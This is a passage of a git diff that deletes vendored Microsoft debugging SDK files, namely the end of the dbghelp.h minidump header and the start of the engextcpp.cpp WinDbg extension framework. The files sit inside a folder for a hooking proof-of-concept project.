-} MINIDUMP_THREAD_INFO, *PMINIDUMP_THREAD_INFO;
-
-typedef struct _MINIDUMP_THREAD_INFO_LIST {
- ULONG SizeOfHeader;
- ULONG SizeOfEntry;
- ULONG NumberOfEntries;
-} MINIDUMP_THREAD_INFO_LIST, *PMINIDUMP_THREAD_INFO_LIST;
-
-//
-// Support for token information.
-//
-typedef struct _MINIDUMP_TOKEN_INFO_HEADER {
- ULONG TokenSize; // The size of the token structure.
- ULONG TokenId; // The PID in NtOpenProcessToken() call or TID in NtOpenThreadToken() call.
- ULONG64 TokenHandle; // The handle value returned.
-} MINIDUMP_TOKEN_INFO_HEADER, *PMINIDUMP_TOKEN_INFO_HEADER;
-
-typedef struct _MINIDUMP_TOKEN_INFO_LIST {
- ULONG TokenListSize;
- ULONG TokenListEntries;
- ULONG ListHeaderSize;
- ULONG ElementHeaderSize;
-} MINIDUMP_TOKEN_INFO_LIST, *PMINIDUMP_TOKEN_INFO_LIST;
-
-//
-// Support for arbitrary user-defined information.
-//
-
-typedef struct _MINIDUMP_USER_RECORD {
- ULONG32 Type;
- MINIDUMP_LOCATION_DESCRIPTOR Memory;
-} MINIDUMP_USER_RECORD, *PMINIDUMP_USER_RECORD;
-
-
-typedef struct _MINIDUMP_USER_STREAM {
- ULONG32 Type;
- ULONG BufferSize;
- PVOID Buffer;
-
-} MINIDUMP_USER_STREAM, *PMINIDUMP_USER_STREAM;
-
-
-typedef struct _MINIDUMP_USER_STREAM_INFORMATION {
- ULONG UserStreamCount;
- PMINIDUMP_USER_STREAM UserStreamArray;
-} MINIDUMP_USER_STREAM_INFORMATION, *PMINIDUMP_USER_STREAM_INFORMATION;
-
-//
-// Callback support.
-//
-
-typedef enum _MINIDUMP_CALLBACK_TYPE {
- ModuleCallback,
- ThreadCallback,
- ThreadExCallback,
- IncludeThreadCallback,
- IncludeModuleCallback,
- MemoryCallback,
- CancelCallback,
- WriteKernelMinidumpCallback,
- KernelMinidumpStatusCallback,
- RemoveMemoryCallback,
- IncludeVmRegionCallback,
- IoStartCallback,
- IoWriteAllCallback,
- IoFinishCallback,
- ReadMemoryFailureCallback,
- SecondaryFlagsCallback,
-} MINIDUMP_CALLBACK_TYPE;
-
-
-typedef struct _MINIDUMP_THREAD_CALLBACK {
- ULONG ThreadId;
- HANDLE ThreadHandle;
- CONTEXT Context;
- ULONG SizeOfContext;
- ULONG64 StackBase;
- ULONG64 StackEnd;
-} MINIDUMP_THREAD_CALLBACK, *PMINIDUMP_THREAD_CALLBACK;
-
-
-typedef struct _MINIDUMP_THREAD_EX_CALLBACK {
- ULONG ThreadId;
- HANDLE ThreadHandle;
- CONTEXT Context;
- ULONG SizeOfContext;
- ULONG64 StackBase;
- ULONG64 StackEnd;
- ULONG64 BackingStoreBase;
- ULONG64 BackingStoreEnd;
-} MINIDUMP_THREAD_EX_CALLBACK, *PMINIDUMP_THREAD_EX_CALLBACK;
-
-
-typedef struct _MINIDUMP_INCLUDE_THREAD_CALLBACK {
- ULONG ThreadId;
-} MINIDUMP_INCLUDE_THREAD_CALLBACK, *PMINIDUMP_INCLUDE_THREAD_CALLBACK;
-
-
-typedef enum _THREAD_WRITE_FLAGS {
- ThreadWriteThread = 0x0001,
- ThreadWriteStack = 0x0002,
- ThreadWriteContext = 0x0004,
- ThreadWriteBackingStore = 0x0008,
- ThreadWriteInstructionWindow = 0x0010,
- ThreadWriteThreadData = 0x0020,
- ThreadWriteThreadInfo = 0x0040,
-} THREAD_WRITE_FLAGS;
-
-typedef struct _MINIDUMP_MODULE_CALLBACK {
- PWCHAR FullPath;
- ULONG64 BaseOfImage;
- ULONG SizeOfImage;
- ULONG CheckSum;
- ULONG TimeDateStamp;
- VS_FIXEDFILEINFO VersionInfo;
- PVOID CvRecord;
- ULONG SizeOfCvRecord;
- PVOID MiscRecord;
- ULONG SizeOfMiscRecord;
-} MINIDUMP_MODULE_CALLBACK, *PMINIDUMP_MODULE_CALLBACK;
-
-
-typedef struct _MINIDUMP_INCLUDE_MODULE_CALLBACK {
- ULONG64 BaseOfImage;
-} MINIDUMP_INCLUDE_MODULE_CALLBACK, *PMINIDUMP_INCLUDE_MODULE_CALLBACK;
-
-
-typedef enum _MODULE_WRITE_FLAGS {
- ModuleWriteModule = 0x0001,
- ModuleWriteDataSeg = 0x0002,
- ModuleWriteMiscRecord = 0x0004,
- ModuleWriteCvRecord = 0x0008,
- ModuleReferencedByMemory = 0x0010,
- ModuleWriteTlsData = 0x0020,
- ModuleWriteCodeSegs = 0x0040,
-} MODULE_WRITE_FLAGS;
-
-
-typedef struct _MINIDUMP_IO_CALLBACK {
- HANDLE Handle;
- ULONG64 Offset;
- PVOID Buffer;
- ULONG BufferBytes;
-} MINIDUMP_IO_CALLBACK, *PMINIDUMP_IO_CALLBACK;
-
-
-typedef struct _MINIDUMP_READ_MEMORY_FAILURE_CALLBACK
-{
- ULONG64 Offset;
- ULONG Bytes;
- HRESULT FailureStatus;
-} MINIDUMP_READ_MEMORY_FAILURE_CALLBACK,
- *PMINIDUMP_READ_MEMORY_FAILURE_CALLBACK;
-
-
-typedef struct _MINIDUMP_CALLBACK_INPUT {
- ULONG ProcessId;
- HANDLE ProcessHandle;
- ULONG CallbackType;
- union {
- HRESULT Status;
- MINIDUMP_THREAD_CALLBACK Thread;
- MINIDUMP_THREAD_EX_CALLBACK ThreadEx;
- MINIDUMP_MODULE_CALLBACK Module;
- MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread;
- MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule;
- MINIDUMP_IO_CALLBACK Io;
- MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure;
- ULONG SecondaryFlags;
- };
-} MINIDUMP_CALLBACK_INPUT, *PMINIDUMP_CALLBACK_INPUT;
-
-typedef struct _MINIDUMP_CALLBACK_OUTPUT {
- union {
- ULONG ModuleWriteFlags;
- ULONG ThreadWriteFlags;
- ULONG SecondaryFlags;
- struct {
- ULONG64 MemoryBase;
- ULONG MemorySize;
- };
- struct {
- BOOL CheckCancel;
- BOOL Cancel;
- };
- HANDLE Handle;
- struct {
- MINIDUMP_MEMORY_INFO VmRegion;
- BOOL Continue;
- };
- HRESULT Status;
- };
-} MINIDUMP_CALLBACK_OUTPUT, *PMINIDUMP_CALLBACK_OUTPUT;
-
-
-//
-// A normal minidump contains just the information
-// necessary to capture stack traces for all of the
-// existing threads in a process.
-//
-// A minidump with data segments includes all of the data
-// sections from loaded modules in order to capture
-// global variable contents. This can make the dump much
-// larger if many modules have global data.
-//
-// A minidump with full memory includes all of the accessible
-// memory in the process and can be very large. A minidump
-// with full memory always has the raw memory data at the end
-// of the dump so that the initial structures in the dump can
-// be mapped directly without having to include the raw
-// memory information.
-//
-// Stack and backing store memory can be filtered to remove
-// data unnecessary for stack walking. This can improve
-// compression of stacks and also deletes data that may
-// be private and should not be stored in a dump.
-// Memory can also be scanned to see what modules are
-// referenced by stack and backing store memory to allow
-// omission of other modules to reduce dump size.
-// In either of these modes the ModuleReferencedByMemory flag
-// is set for all modules referenced before the base
-// module callbacks occur.
-//
-// On some operating systems a list of modules that were
-// recently unloaded is kept in addition to the currently
-// loaded module list. This information can be saved in
-// the dump if desired.
-//
-// Stack and backing store memory can be scanned for referenced
-// pages in order to pick up data referenced by locals or other
-// stack memory. This can increase the size of a dump significantly.
-//
-// Module paths may contain undesired information such as user names
-// or other important directory names so they can be stripped. This
-// option reduces the ability to locate the proper image later
-// and should only be used in certain situations.
-//
-// Complete operating system per-process and per-thread information can
-// be gathered and stored in the dump.
-//
-// The virtual address space can be scanned for various types
-// of memory to be included in the dump.
-//
-// Code which is concerned with potentially private information
-// getting into the minidump can set a flag that automatically
-// modifies all existing and future flags to avoid placing
-// unnecessary data in the dump. Basic data, such as stack
-// information, will still be included but optional data, such
-// as indirect memory, will not.
-//
-// When doing a full memory dump it's possible to store all
-// of the enumerated memory region descriptive information
-// in a memory information stream.
-//
-// Additional thread information beyond the basic thread
-// structure can be collected if desired.
-//
-// A minidump with code segments includes all of the code
-// and code-related sections from loaded modules in order
-// to capture executable content.
-//
-// MiniDumpWithoutAuxiliaryState turns off any secondary,
-// auxiliary-supported memory gathering.
-//
-// MiniDumpWithFullAuxiliaryState asks any present auxiliary
-// data providers to include all of their state in the dump.
-// The exact set of what is provided depends on the auxiliary.
-// This can be quite large.
-//
-
-typedef enum _MINIDUMP_TYPE {
- MiniDumpNormal = 0x00000000,
- MiniDumpWithDataSegs = 0x00000001,
- MiniDumpWithFullMemory = 0x00000002,
- MiniDumpWithHandleData = 0x00000004,
- MiniDumpFilterMemory = 0x00000008,
- MiniDumpScanMemory = 0x00000010,
- MiniDumpWithUnloadedModules = 0x00000020,
- MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
- MiniDumpFilterModulePaths = 0x00000080,
- MiniDumpWithProcessThreadData = 0x00000100,
- MiniDumpWithPrivateReadWriteMemory = 0x00000200,
- MiniDumpWithoutOptionalData = 0x00000400,
- MiniDumpWithFullMemoryInfo = 0x00000800,
- MiniDumpWithThreadInfo = 0x00001000,
- MiniDumpWithCodeSegs = 0x00002000,
- MiniDumpWithoutAuxiliaryState = 0x00004000,
- MiniDumpWithFullAuxiliaryState = 0x00008000,
- MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
- MiniDumpIgnoreInaccessibleMemory = 0x00020000,
- MiniDumpWithTokenInformation = 0x00040000,
- MiniDumpValidTypeFlags = 0x0007ffff,
-} MINIDUMP_TYPE;
-
-//
-// In addition to the primary flags provided to
-// MiniDumpWriteDump there are additional, less
-// frequently used options queried via the secondary
-// flags callback.
-//
-// MiniSecondaryWithoutPowerInfo suppresses the minidump
-// query that retrieves processor power information for
-// MINIDUMP_MISC_INFO.
-//
-
-typedef enum _MINIDUMP_SECONDARY_FLAGS {
- MiniSecondaryWithoutPowerInfo = 0x00000001,
-
- MiniSecondaryValidFlags = 0x00000001,
-} MINIDUMP_SECONDARY_FLAGS;
-
-
-//
-// The minidump callback should modify the FieldsToWrite parameter to reflect
-// what portions of the specified thread or module should be written to the
-// file.
-//
-
-typedef
-BOOL
-(WINAPI * MINIDUMP_CALLBACK_ROUTINE) (
- __inout PVOID CallbackParam,
- __in PMINIDUMP_CALLBACK_INPUT CallbackInput,
- __inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
- );
-
-typedef struct _MINIDUMP_CALLBACK_INFORMATION {
- MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;
- PVOID CallbackParam;
-} MINIDUMP_CALLBACK_INFORMATION, *PMINIDUMP_CALLBACK_INFORMATION;
-
-
-
-//++
-//
-// PVOID
-// RVA_TO_ADDR(
-// PVOID Mapping,
-// ULONG Rva
-// )
-//
-// Routine Description:
-//
-// Map an RVA that is contained within a mapped file to it's associated
-// flat address.
-//
-// Arguments:
-//
-// Mapping - Base address of mapped file containing the RVA.
-//
-// Rva - An Rva to fixup.
-//
-// Return Values:
-//
-// A pointer to the desired data.
-//
-//--
-
-#define RVA_TO_ADDR(Mapping,Rva) ((PVOID)(((ULONG_PTR) (Mapping)) + (Rva)))
-
-BOOL
-WINAPI
-MiniDumpWriteDump(
- __in HANDLE hProcess,
- __in DWORD ProcessId,
- __in HANDLE hFile,
- __in MINIDUMP_TYPE DumpType,
- __in_opt PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
- __in_opt PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
- __in_opt PMINIDUMP_CALLBACK_INFORMATION CallbackParam
- );
-
-BOOL
-WINAPI
-MiniDumpReadDumpStream(
- __in PVOID BaseOfDump,
- __in ULONG StreamNumber,
- __deref_out_opt PMINIDUMP_DIRECTORY * Dir,
- __deref_out_opt PVOID * StreamPointer,
- __out_opt ULONG * StreamSize
- );
-
-#if defined(_MSC_VER)
-#if _MSC_VER >= 800
-#if _MSC_VER >= 1200
-#pragma warning(pop)
-#else
-#pragma warning(default:4200) /* Zero length array */
-#pragma warning(default:4201) /* Nameless struct/union */
-#endif
-#endif
-#endif
-
-#include
-
-#ifdef __cplusplus
-}
-#endif
-
-
-#endif // _DBGHELP_
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.cpp
deleted file mode 100644
index 46e49bb5..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.cpp
+++ /dev/null
@@ -1,4368 +0,0 @@
-//----------------------------------------------------------------------------
-//
-// C++ dbgeng extension framework.
-//
-// Copyright (C) Microsoft Corporation, 2005-2006.
-//
-//----------------------------------------------------------------------------
-
-#include
-#include
-#include
-
-#if defined(_PREFAST_) || defined(_PREFIX_)
-#define PRE_ASSUME(_Cond) __analysis_assume(_Cond)
-#else
-#define PRE_ASSUME(_Cond)
-#endif
-
-#define IsSpace(_Char) isspace((UCHAR)(_Char))
-
-WINDBG_EXTENSION_APIS64 ExtensionApis;
-ExtCheckedPointer
- g_Ext("g_Ext not set, used outside of a command");
-
-//----------------------------------------------------------------------------
-//
-// ExtException family.
-//
-//----------------------------------------------------------------------------
-
-void
-ExtException::PrintMessageVa(__in_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars,
- __in PCSTR Format,
- __in va_list Args)
-{
- StringCchVPrintfA(Buffer, BufferChars, Format, Args);
- m_Message = Buffer;
-}
-
-void WINAPIV
-ExtException::PrintMessage(__in_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars,
- __in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- PrintMessageVa(Buffer, BufferChars, Format, Args);
- va_end(Args);
-}
-
-//----------------------------------------------------------------------------
-//
-// Holders.
-//
-//----------------------------------------------------------------------------
-
-void
-ExtCurrentThreadHolder::Refresh(void)
-{
- HRESULT Status;
-
- if ((Status = g_Ext->m_System->
- GetCurrentThreadId(&m_ThreadId)) != S_OK)
- {
- throw ExtStatusException(Status,
- "ExtCurrentThreadHolder::Refresh failed");
- }
-}
-
-void
-ExtCurrentThreadHolder::Restore(void)
-{
- if (m_ThreadId != DEBUG_ANY_ID)
- {
- PRE_ASSUME(g_Ext.IsSet());
- if (g_Ext.IsSet())
- {
- // Ensure that g_Ext-> operator will not throw exception.
- g_Ext->m_System->SetCurrentThreadId(m_ThreadId);
- }
- m_ThreadId = DEBUG_ANY_ID;
- }
-}
-
-void
-ExtCurrentProcessHolder::Refresh(void)
-{
- HRESULT Status;
-
- if ((Status = g_Ext->m_System->
- GetCurrentProcessId(&m_ProcessId)) != S_OK)
- {
- throw ExtStatusException(Status,
- "ExtCurrentProcessHolder::Refresh failed");
- }
-}
-
-void
-ExtCurrentProcessHolder::Restore(void)
-{
- if (m_ProcessId != DEBUG_ANY_ID)
- {
- PRE_ASSUME(g_Ext.IsSet());
- if (g_Ext.IsSet())
- {
- // Ensure that g_Ext-> operator will not throw exception.
- g_Ext->m_System->SetCurrentProcessId(m_ProcessId);
- }
- m_ProcessId = DEBUG_ANY_ID;
- }
-}
-
-//----------------------------------------------------------------------------
-//
-// ExtCommandDesc.
-//
-//----------------------------------------------------------------------------
-
-ExtCommandDesc* ExtCommandDesc::s_Commands;
-ULONG ExtCommandDesc::s_LongestCommandName;
-
-ExtCommandDesc::ExtCommandDesc(__in PCSTR Name,
- __in ExtCommandMethod Method,
- __in PCSTR Desc,
- __in_opt PCSTR Args)
-{
- m_Name = Name;
- m_Method = Method;
- m_Desc = Desc;
- m_ArgDescStr = Args;
-
- ClearArgs();
-
- //
- // Add into command list sorted by name.
- //
-
- ExtCommandDesc* Cur, *Prev;
-
- Prev = NULL;
- for (Cur = s_Commands; Cur; Cur = Cur->m_Next)
- {
- if (strcmp(Name, Cur->m_Name) < 0)
- {
- break;
- }
-
- Prev = Cur;
- }
-
- if (Prev)
- {
- Prev->m_Next = this;
- }
- else
- {
- s_Commands = this;
- }
- m_Next = Cur;
-
- if (strlen(Name) > s_LongestCommandName)
- {
- s_LongestCommandName = strlen(Name);
- }
-}
-
-ExtCommandDesc::~ExtCommandDesc(void)
-{
- DeleteArgs();
-}
-
-void
-ExtCommandDesc::ClearArgs(void)
-{
- m_ArgsInitialized = false;
- m_CustomArgParsing = false;
- m_CustomArgDescLong = NULL;
- m_CustomArgDescShort = NULL;
- m_OptionChars = "/-";
- m_ArgStrings = NULL;
- m_NumArgs = 0;
- m_NumUnnamedArgs = 0;
- m_Args = NULL;
-}
-
-void
-ExtCommandDesc::DeleteArgs(void)
-{
- free(m_ArgStrings);
- delete [] m_Args;
- ClearArgs();
-}
-
-PSTR
-ExtCommandDesc::ParseDirective(__in PSTR Scan)
-{
- //
- // Scan to collect the directive name.
- //
-
- PSTR Name = Scan;
- while (*Scan != ':' && *Scan != '}')
- {
- if (!*Scan)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Improper directive "
- "name termination");
- }
-
- Scan++;
- }
-
- //
- // Scan to collect the directive value.
- //
-
- PSTR Value = "";
-
- if (*Scan == ':')
- {
- *Scan++ = 0;
- Value = Scan;
-
- while (*Scan != '}' ||
- *(Scan + 1) != '}')
- {
- if (!*Scan)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Improper directive "
- "value termination");
- }
-
- Scan++;
- }
- }
- else if (*(Scan + 1) != '}')
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Improper directive }} closure");
- }
-
- // Terminate name or value.
- *Scan = 0;
- Scan += 2;
-
- //
- // Process directive.
- //
-
- bool NoValue = false;
- bool NeedValue = false;
-
- if (!strcmp(Name, "custom"))
- {
- m_CustomArgParsing = true;
- NoValue = true;
- }
- else if (!strcmp(Name, "l"))
- {
- m_CustomArgDescLong = Value;
- NeedValue = true;
- }
- else if (!strcmp(Name, "opt"))
- {
- m_OptionChars = Value;
- }
- else if (!strcmp(Name, "s"))
- {
- m_CustomArgDescShort = Value;
- NeedValue = true;
- }
- else
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Unknown directive '%s'", Name);
- }
-
- if (!Value[0] && NeedValue)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: {{%s}} requires an argument", Name);
- }
- if (Value[0] && NoValue)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: {{%s}} does not have an argument",
- Name);
- }
-
- return Scan;
-}
-
-void
-ExtCommandDesc::ParseArgDesc(void)
-{
- //
- // Parse the argument description.
- //
-
- if (!m_ArgDescStr ||
- !m_ArgDescStr[0])
- {
- // No arguments.
- return;
- }
-
- // First copy the string so we can chop it up.
- m_ArgStrings = _strdup(m_ArgDescStr);
- if (! m_ArgStrings)
- {
- m_Ext->ThrowOutOfMemory();
- }
-
- //
- // Each argument description is
- // {;;;}
- //
-
- ArgDesc Args[ExtExtension::s_MaxArgs];
- ArgDesc* Arg = Args - 1;
- ULONG NumUnOptArgs = 0;
- bool RemainderUsed = false;
-
- PSTR Scan = m_ArgStrings;
-
- while (*Scan)
- {
- if (*Scan != '{')
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Missing { at '%s'", Scan);
- }
- Scan++;
-
- if (*Scan == '{')
- {
- // This is a {{directive}} and not an argument.
- Scan = ParseDirective(++Scan);
- continue;
- }
-
- if (m_NumArgs >= EXT_DIMA(Args))
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Argument count "
- "overflow at '%s'", Scan);
- }
- m_NumArgs++;
- Arg++;
-
- //
- // Check for an argument name.
- // Arguments can be unnamed.
- //
-
- if (*Scan == '}' ||
- *Scan == ';')
- {
- Arg->Name = NULL;
- m_NumUnnamedArgs++;
- if (*Scan == ';')
- {
- Scan++;
- }
- }
- else
- {
- Arg->Name = Scan;
- while (*Scan != '}' &&
- *Scan != ';')
- {
- if (!*Scan)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Improper argument "
- "name termination for '%s'",
- Arg->Name);
- }
-
- Scan++;
- }
- if (*Scan != '}')
- {
- *Scan++ = 0;
- }
-
- if (Arg->Name[0] == '?' &&
- !Arg->Name[1])
- {
- m_Ext->ThrowInvalidArg("ArgDesc: /? is automatically "
- "provided by the framework");
- }
- }
-
- //
- // Check for a type.
- // Type defaults to string.
- //
-
- PCSTR TypeName = "ERROR";
-
- Arg->Boolean = false;
- Arg->Expression = false;
- Arg->String = false;
- Arg->StringRemainder = false;
-
- switch(*Scan)
- {
- case 'x':
- Arg->StringRemainder = true;
- __fallthrough;
- case 's':
- Scan++;
- __fallthrough;
- case '}':
- case ';':
- case ',':
- TypeName = "string";
- Arg->String = true;
- break;
- case 'b':
- Scan++;
- Arg->Boolean = true;
- break;
- case 'e':
- Scan++;
- TypeName = "expr";
- Arg->Expression = true;
- Arg->ExpressionBits = 64;
- Arg->ExpressionSigned = false;
- Arg->ExpressionDelimited = false;
- for (;;)
- {
- if (*Scan == 'd')
- {
- Arg->ExpressionDelimited = true;
- }
- else if (*Scan == 's')
- {
- Arg->ExpressionSigned = true;
- }
- else
- {
- break;
- }
-
- Scan++;
- }
- if (*Scan >= '0' && *Scan <= '9')
- {
- Arg->ExpressionBits = strtoul(Scan, &Scan, 10);
- if (Arg->ExpressionBits < 1 ||
- Arg->ExpressionBits > 64)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: "
- "Invalid expression bit count %u",
- Arg->ExpressionBits);
- }
- }
- break;
- default:
- m_Ext->ThrowInvalidArg("ArgDesc: Unknown argument type at '%s'",
- Scan);
- break;
- }
-
- //
- // Check for flags.
- //
-
- PSTR NeedTerm = NULL;
-
- Arg->Default = NULL;
- Arg->DefaultSilent = false;
-
- // Unnamed arguments default to
- // required as a required argument
- // tail is a very common pattern.
- Arg->Required = Arg->Name == NULL;
-
- while (*Scan == ',')
- {
- if (NeedTerm)
- {
- *NeedTerm = 0;
- NeedTerm = NULL;
- }
-
- Scan++;
- switch(*Scan)
- {
- case 'd':
- Scan++;
- switch(*Scan)
- {
- case '=':
- if (Arg->Boolean)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: boolean arguments "
- "cannot have defaults");
- }
-
- Arg->Default = ++Scan;
- while (*Scan &&
- *Scan != ',' &&
- *Scan != ';' &&
- *Scan != '}')
- {
- Scan++;
- }
- if (*Scan != '}')
- {
- NeedTerm = Scan;
- }
- break;
- case 's':
- Scan++;
- Arg->DefaultSilent = true;
- break;
- default:
- m_Ext->ThrowInvalidArg("ArgDesc: "
- "Unknown 'd' argument flag at '%s'",
- Scan);
- }
- break;
- case 'o':
- Scan++;
- Arg->Required = false;
- break;
- case 'r':
- Scan++;
- Arg->Required = true;
- break;
- default:
- m_Ext->ThrowInvalidArg("ArgDesc: "
- "Unknown argument flag at '%s'",
- Scan);
- }
- }
- if (*Scan == ';')
- {
- Scan++;
- }
- else if (*Scan != '}')
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Improper argument "
- "type/flags termination at '%s'",
- Scan);
- }
-
- if (NeedTerm)
- {
- *NeedTerm = 0;
- NeedTerm = NULL;
- }
-
- if (!Arg->Name)
- {
- if (Arg->Boolean)
- {
- // Not possible to have an unnamed flag
- // since the presence/absence of the flag
- // is what a boolean is for.
- m_Ext->ThrowInvalidArg("ArgDesc: Boolean arguments "
- "must be named");
- }
-
- // Given the lack of placement identification (a name),
- // unnamed arguments are filled in the
- // order they appear in the argument string.
- // That means that a required argument cannot
- // follow an optional argument since there's
- // no way of knowing that the optional argument
- // should be skipped.
- if (!Arg->Required)
- {
- NumUnOptArgs++;
- }
- else
- {
- if (NumUnOptArgs > 0)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: "
- "Required unnamed arguments "
- "cannot follow optional "
- "unnamed arguments");
- }
- }
-
- if (RemainderUsed)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: "
- "Unnamed arguments "
- "cannot follow remainder usage");
- }
-
- if (Arg->StringRemainder)
- {
- RemainderUsed = true;
- }
- }
-
- //
- // Check for a short descriptive argument name.
- //
-
- if (*Scan == '}' ||
- *Scan == ';')
- {
- // Use a default name so there's always
- // some short description.
- Arg->DescShort = TypeName;
- if (*Scan == ';')
- {
- Scan++;
- }
- }
- else
- {
- Arg->DescShort = Scan;
- while (*Scan != '}' &&
- *Scan != ';')
- {
- if (!*Scan)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: "
- "Improper short description "
- "termination for '%s'",
- Arg->Name ?
- Arg->Name : "");
- }
-
- Scan++;
- }
- if (*Scan != '}')
- {
- *Scan++ = 0;
- }
- }
-
- //
- // Check for a long argument description.
- //
-
- if (*Scan == '}')
- {
- Arg->DescLong = NULL;
- }
- else
- {
- Arg->DescLong = Scan;
- while (*Scan != '}')
- {
- if (!*Scan)
- {
- m_Ext->ThrowInvalidArg("ArgDesc: "
- "Improper long description "
- "termination for '%s'",
- Arg->Name ?
- Arg->Name : "");
- }
-
- Scan++;
- }
- }
-
- //
- // Finished.
- // Terminate whatever was the last string
- // in the description.
- //
-
- if (*Scan != '}')
- {
- m_Ext->ThrowInvalidArg("ArgDesc: Expecting } at '%s'", Scan);
- }
-
- *Scan++ = 0;
- }
-
- // Copy temporary array to permanent storage.
- if (m_NumArgs)
- {
- m_Args = new ArgDesc[m_NumArgs];
- if (! m_Args)
- {
- m_Ext->ThrowOutOfMemory();
- }
- memcpy(m_Args, Args, m_NumArgs * sizeof(m_Args[0]));
- }
-
- m_ArgsInitialized = true;
-}
-
-void
-ExtCommandDesc::ExInitialize(__in ExtExtension* Ext)
-{
- m_Ext = Ext;
-
- if (!m_ArgsInitialized)
- {
- try
- {
- ParseArgDesc();
- }
- catch(...)
- {
- DeleteArgs();
- throw;
- }
- }
-}
-
-ExtCommandDesc::ArgDesc*
-ExtCommandDesc::FindArg(__in PCSTR Name)
-{
- ArgDesc* Check = m_Args;
- for (ULONG i = 0; i < m_NumArgs; i++, Check++)
- {
- if (Check->Name &&
- !strcmp(Name, Check->Name))
- {
- return Check;
- }
- }
- return NULL;
-}
-
-ExtCommandDesc::ArgDesc*
-ExtCommandDesc::FindUnnamedArg(__in ULONG Index)
-{
- ArgDesc* Check = m_Args;
- for (ULONG i = 0; i < m_NumArgs; i++, Check++)
- {
- if (!Check->Name &&
- Index-- == 0)
- {
- return Check;
- }
- }
- return NULL;
-}
-
-void
-ExtCommandDesc::Transfer(__out ExtCommandDesc** Commands,
- __out PULONG LongestName)
-{
- *Commands = s_Commands;
- s_Commands = NULL;
- *LongestName = ExtCommandDesc::s_LongestCommandName;
- s_LongestCommandName = 0;
-}
-
-//----------------------------------------------------------------------------
-//
-// ExtExtension.
-//
-//----------------------------------------------------------------------------
-
-HMODULE ExtExtension::s_Module;
-char ExtExtension::s_String[2000];
-char ExtExtension::s_CircleStringBuffer[2000];
-char* ExtExtension::s_CircleString = s_CircleStringBuffer;
-
-ExtExtension::ExtExtension(void)
- : m_Advanced("The extension did not initialize properly."),
- m_Client("The extension did not initialize properly."),
- m_Control("The extension did not initialize properly."),
- m_Data("The extension did not initialize properly."),
- m_Registers("The extension did not initialize properly."),
- m_Symbols("The extension did not initialize properly."),
- m_System("The extension did not initialize properly."),
- m_Advanced2("The extension requires IDebugAdvanced2."),
- m_Advanced3("The extension requires IDebugAdvanced3."),
- m_Client2("The extension requires IDebugClient2."),
- m_Client3("The extension requires IDebugClient3."),
- m_Client4("The extension requires IDebugClient4."),
- m_Client5("The extension requires IDebugClient5."),
- m_Control2("The extension requires IDebugControl2."),
- m_Control3("The extension requires IDebugControl3."),
- m_Control4("The extension requires IDebugControl4."),
- m_Data2("The extension requires IDebugDataSpaces2."),
- m_Data3("The extension requires IDebugDataSpaces3."),
- m_Data4("The extension requires IDebugDataSpaces4."),
- m_Registers2("The extension requires IDebugRegisters2."),
- m_Symbols2("The extension requires IDebugSymbols2."),
- m_Symbols3("The extension requires IDebugSymbols3."),
- m_System2("The extension requires IDebugSystemObjects2."),
- m_System3("The extension requires IDebugSystemObjects3."),
- m_System4("The extension requires IDebugSystemObjects4.")
-{
- m_ExtMajorVersion = 1;
- m_ExtMinorVersion = 0;
- m_ExtInitFlags = DEBUG_EXTINIT_HAS_COMMAND_HELP;
-
- m_KnownStructs = NULL;
- m_ProvidedValues = NULL;
-
- m_ExInitialized = false;
- m_OutMask = DEBUG_OUTPUT_NORMAL;
- m_CurChar = 0;
- m_LeftIndent = 0;
- m_AllowWrap = true;
- m_TestWrap = 0;
-
- m_CurCommand = NULL;
-
- m_AppendBuffer = NULL;
- m_AppendBufferChars = 0;
- m_AppendAt = NULL;
-}
-
-HRESULT
-ExtExtension::Initialize(void)
-{
- return S_OK;
-}
-
-void
-ExtExtension::Uninitialize(void)
-{
- // Empty.
-}
-
-void
-ExtExtension::OnSessionActive(__in ULONG64 Argument)
-{
- UNREFERENCED_PARAMETER(Argument);
- // Empty.
-}
-
-void
-ExtExtension::OnSessionInactive(__in ULONG64 Argument)
-{
- UNREFERENCED_PARAMETER(Argument);
- // Empty.
-}
-
-void
-ExtExtension::OnSessionAccessible(__in ULONG64 Argument)
-{
- UNREFERENCED_PARAMETER(Argument);
- // Empty.
-}
-
-void
-ExtExtension::OnSessionInaccessible(__in ULONG64 Argument)
-{
- UNREFERENCED_PARAMETER(Argument);
- // Empty.
-}
-
-void WINAPIV
-ExtExtension::Out(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
- va_start(Args, Format);
- m_Control->OutputVaList(m_OutMask, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtExtension::Warn(__in PCSTR Format,
- ...)
-{
- va_list Args;
-
